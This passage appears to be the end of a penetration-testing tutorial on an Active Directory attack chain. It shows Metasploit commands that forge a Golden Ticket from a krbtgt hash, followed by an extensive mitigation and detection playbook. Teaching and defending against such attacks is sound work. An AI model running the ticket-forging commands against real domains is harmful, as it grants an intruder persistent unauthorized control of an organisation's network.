The Golden Ticket is the apex of every Active Directory attack chain. With the krbtgt account’s NTLM hash extracted earlier via secretsdump or windows_secrets_dump, the operator forges a TGT for any user (typically Administrator) with arbitrary group memberships and a ten-year validity period. Because the krbtgt key signs every PAC in the domain, every Domain Controller accepts these forged tickets as authentic — effectively granting indefinite, unrestricted access to every domain resource.

The post/windows/escalate/golden_ticket module operates inside an existing Meterpreter session and consumes the krbtgt NTLM hash directly. The module queries the domain SID, looks up the Administrator account, forges the ticket, and writes both Kirbi and ccache formats to /root/.msf4/loot. The ccache file can be replayed via impacket-psexec or any other Kerberos-aware tool, while the Kirbi format suits Mimikatz-based replay on Windows.

background
use post/windows/escalate/golden_ticket
set session 1
set KRBTGT_HASH aad3b435b51404eeaad3b435b51404ee:a5a3ba240fa1460779236d9995d8118a
run

Mitigation Strategies

Each of the thirteen attack phases above maps to a specific defensive control. The recommendations below collapse the entire kill chain when applied together — no single control is sufficient on its own, but the combination invalidates every primitive demonstrated.

Identity and Account Hardening

• Zero MachineAccountQuota: Set ms-DS-MachineAccountQuota to 0 to neutralise the SAMR ADD_COMPUTER primitive that seeds RBCD and Shadow Credentials chains; this single change breaks Phases 5, 6, and 8 simultaneously.
• Eliminate DONT_REQ_PREAUTH: Audit every account for the AS-REP roastable flag and remove it; this collapses Phase 3’s AS-REP roasting attack entirely.
• Enforce Strong Service Account Passwords: Force every account with a servicePrincipalName onto a 25+ character random password rotated annually; even successful Kerberoasting yields nothing crackable in reasonable time.
• Restrict GMSA Read Permissions: Tightly scope PrincipalsAllowedToRetrieveManagedPassword to only the hosts that legitimately run the GMSA-bound service.
• Enroll Tier-0 Accounts in Protected Users: Membership disables NTLM authentication, unconstrained delegation, and DES/RC4 encryption for those accounts — breaking Pass-the-Hash and most ticket-forging attacks against Domain Admins.

Active Directory Certificate Services Hardening

• Remove ENROLLEE_SUPPLIES_SUBJECT: Strip this flag from every template that issues Client Authentication certificates; this single change collapses ESC1 entirely.
• Require Manager Approval: Set the manager-approval flag on every privileged template so out-of-band review precedes every issuance — the ESC4 chain in Phase 10 fails the moment this flag is on.
• Audit Template ACLs Quarterly: Run Certipy or PSPKIAudit against the entire template catalogue; any non-administrative principal with WriteProperty, WriteDacl, or WriteOwner on a template is an ESC4 vector.
• Restrict CA Enrollment Rights: Remove Authenticated Users from every CA’s default enrollment ACL and grant it only to specific groups.

Kerberos and Delegation Hardening

• Audit RBCD Targets Continuously: Treat any LDAP modification of msDS-AllowedToActOnBehalfOfOtherIdentity as a P1 alert; legitimate writes are rare and predictable.
• Rotate the krbtgt Account Twice Annually: The Golden Ticket attack relies entirely on the krbtgt hash; rotating it twice (with a Microsoft-recommended 24-hour gap between rotations) invalidates every previously forged ticket.
• Enable AES-Only Encryption: Set msDS-SupportedEncryptionTypes to AES128 and AES256 only on every account; RC4 (etype 23) is the encryption algorithm Kerberoasting depends on for crackable hashes.
• Monitor Anomalous TGS Requests: Alert on Event ID 4769 with encryption type 0x17 (RC4-HMAC) or any TGS request where the requesting account is a recently created computer object — the unmistakable fingerprints of Kerberoasting and RBCD chains.

Detection and Response

• Monitor Anonymous Kerberos Pre-auth: Alert on Event ID 4768 with PreAuthType=0 — the unmistakable fingerprint of AS-REP Roasting.
• Detect SAMR Account Creation: Correlate Event IDs 4720 (user created) and 4741 (computer created) with the source workstation; creations from non-management hosts indicate samr_account abuse.
• Alert on Shadow Credentials Writes: Any LDAP modification of msDS-KeyCredentialLink on a Tier-0 account belongs in the SOC’s top-priority alert queue.
• Hunt PSEXEC Patterns: Alert on Event ID 7045 (service installed) where the service binary path resembles a random eight-character executable — the canonical Impacket and Metasploit psexec fingerprint.
• Deploy Honey Accounts: Plant a privileged-looking account such as svc_backup_admin with adminCount=1, an SPN, and DONT_REQ_PREAUTH set — any authentication attempt against it is malicious by construction.
• Enable LSA Protection: Set the RunAsPPL registry key on every domain-joined host to prevent credential-dumping tools from reading LSASS memory — a foundational defence against secretsdump variants.

Conclusion

The thirteen-phase chain demonstrated in this article walks through the complete journey from a single low-privileged credential to indefinite Domain Admin access. Metasploit’s LDAP, Kerberos, AD CS, and SMB modules consolidate every primitive that historically required Impacket scripts, Rubeus binaries, Certipy installations, and Mimikatz invocations into a single, scriptable console. Each ACTION inside the ldap_query, ad_cs_cert_template, samr_account, rbcd, get_ticket, forge_ticket, and golden_ticket modules exposes a different facet of the attack surface, and operators chain the outputs together to escalate from raj’s Password@1 to a forged ten-year Administrator ticket in under an hour.

The defensive picture is straightforward but unforgiving. Every module demonstrated in this article leaves a traceable footprint in either Windows event logs, LDAP audit logs, or Kerberos service-ticket records. Defenders who zero MachineAccountQuota, eliminate DONT_REQ_PREAUTH, harden certificate templates, rotate the krbtgt account regularly, and monitor anomalous LDAP query volume effectively invalidate the attacker’s entire toolkit. The race is not about preventing every initial foothold — it is about ensuring that each subsequent step in the kill chain triggers an alert long before the attacker reaches Tier-0.

In the hands of an attacker, each of these phases is devastating. In the hands of a defender, understanding the chain in granular detail is the first — and most important — step toward breaking it. The mitigation playbook in the previous section is the operational starting point: applied together, the controls invalidate every primitive shown across the thirteen phases, and the Golden Ticket itself becomes a five-day artefact rather than a permanent backdoor.

Author: MD Aslam drives security excellence and mentors teams to strengthen security across products, networks, and organizations as a dynamic Information Security leader. Contact here